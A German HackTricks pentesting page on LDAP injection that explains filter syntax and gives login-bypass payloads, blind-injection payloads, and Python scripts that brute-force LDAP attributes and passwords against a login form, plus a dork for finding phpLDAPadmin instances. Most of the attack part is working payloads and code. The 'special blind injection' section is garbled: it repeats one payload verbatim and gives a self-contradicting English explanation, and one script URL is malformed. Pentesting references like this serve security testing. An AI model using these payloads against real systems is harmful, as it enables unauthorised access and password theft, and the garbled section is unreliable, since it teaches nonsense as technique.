hacktricks/pentesting-web/ldap-injection.md

# LDAP-Injektion

## LDAP-Injektion

<details>

<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks- und HackTricks Cloud-GitHub-Repositories senden.

</details>

<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug-Bounty-Tipp**: Melden Sie sich bei Intigriti an, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Treten Sie uns noch heute bei [https://go.intigriti.com/hacktricks](https://go.intigriti.com/hacktricks) bei und verdienen Sie Prämien von bis zu 100.000 USD!

{% embed url="https://go.intigriti.com/hacktricks" %}

## LDAP-Injektion

### LDAP

**Wenn Sie wissen möchten, was LDAP ist, besuchen Sie die folgende Seite:**

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

**LDAP-Injektion** ist ein Angriff auf Webanwendungen, bei dem LDAP-Anweisungen aus Benutzereingaben erstellt werden. Dies tritt auf, wenn die Anwendung die Eingabe nicht ordnungsgemäß bereinigt und Angreifern ermöglicht, LDAP-Anweisungen über einen lokalen Proxy zu manipulieren, was potenziell zu unbefugtem Zugriff oder Datenmanipulation führen kann.

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
**(&)** = Absolute TRUE\
**(|)** = Absolute FALSE

Zum Beispiel:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`

Sie können auf die Datenbank zugreifen, die Informationen verschiedener Typen enthalten kann.

**OpenLDAP**: Wenn 2 Filter eintreffen, wird nur der erste ausgeführt.\
**ADAM oder Microsoft LDS**: Bei 2 Filtern wird ein Fehler ausgegeben.\
**SunOne Directory Server 5.0**: Führt beide Filter aus.

**Es ist sehr wichtig, den Filter mit korrekter Syntax zu senden, da sonst ein Fehler ausgegeben wird. Es ist besser, nur 1 Filter zu senden.**

Der Filter muss mit `&` oder `|` beginnen\
Beispiel: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Dann: `(&(objectClass=`**`*)(ObjectClass=*))`** wird der erste Filter sein (der ausgeführte). 

### Login-Bypass

LDAP unterstützt verschiedene Formate zur Speicherung des Passworts: Klartext, md5, smd5, sh1, sha, crypt. Es könnte also sein, dass unabhängig von dem, was Sie im Passwort eingeben, eine Hash-Funktion angewendet wird.
```bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
```

```bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
```

```bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
```

```bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
```

```bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
```

```bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

```bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
```

```bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
```

```bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Listen

* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
* [LDAP-Attribute](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [LDAP PosixAccount-Attribute](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

### Blinde LDAP-Injektion

Sie können falsche oder wahre Antworten erzwingen, um zu überprüfen, ob Daten zurückgegeben werden und eine mögliche blinde LDAP-Injektion zu bestätigen:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
```

```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### Daten abrufen

Sie können über die ASCII-Buchstaben, Zahlen und Symbole iterieren:
```bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
```
### Skripte

#### **Gültige LDAP-Felder entdecken**

LDAP-Objekte **enthalten standardmäßig mehrere Attribute**, die zur **Speicherung von Informationen** verwendet werden können. Sie können versuchen, **alle diese Attribute zu brute-forcen, um diese Informationen zu extrahieren**. Eine Liste der [**Standard-LDAP-Attribute finden Sie hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Spezielle blinde LDAP-Injektion (ohne "\*")**

------------------------------------------------------------------------

##### **Payloads**

```plaintext
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
```

##### **Exploitation**

```plaintext
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
* (|(password=*))  ->  true
* (|(password=*))  ->  false
```

##### **Explanation**

This technique is used when the application filters the input by removing the asterisk character ("\*") from the user's input. The payload is constructed in a way that it will always evaluate to true or false, depending on the desired outcome.

In the payloads above, the condition `(|(password=*))` is used. This condition will always evaluate to true, as it matches any entry that has a non-empty password attribute. By repeating this payload multiple times, we can confirm if the application is vulnerable to LDAP injection.

If the application is vulnerable, the payloads will alternate between true and false. If the application is not vulnerable, the payloads will consistently evaluate to true or false.

This technique can be used to bypass authentication mechanisms, extract sensitive information, or perform other unauthorized actions. It is important to note that the impact of an LDAP injection vulnerability depends on the specific application and its configuration.
```python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks

Google Dorks sind spezielle Suchanfragen, die verwendet werden können, um sensible Informationen und Schwachstellen in Webanwendungen zu finden. Diese Suchanfragen können verwendet werden, um Informationen über eine bestimmte Website oder Domain zu sammeln, wie zum Beispiel vertrauliche Dateien, ungeschützte Verzeichnisse oder sogar Passwörter.

Einige Beispiele für Google Dorks sind:

- `site:example.com` - Durchsucht die Website example.com nach Informationen.
- `filetype:pdf site:example.com` - Durchsucht die Website example.com nach PDF-Dateien.
- `intitle:"Index of /"` - Sucht nach ungeschützten Verzeichnissen auf verschiedenen Websites.
- `intext:"username" filetype:log` - Sucht nach Log-Dateien, die den Begriff "username" enthalten.

Es ist wichtig zu beachten, dass Google Dorks mächtige Werkzeuge sind, die mit Vorsicht verwendet werden sollten. Sie sollten nur auf legalen und autorisierten Websites angewendet werden, um Sicherheitslücken zu identifizieren und zu beheben.
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Weitere Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug-Bounty-Tipp**: **Registrieren Sie sich** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde**! Treten Sie noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und verdienen Sie Prämien von bis zu **100.000 $**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>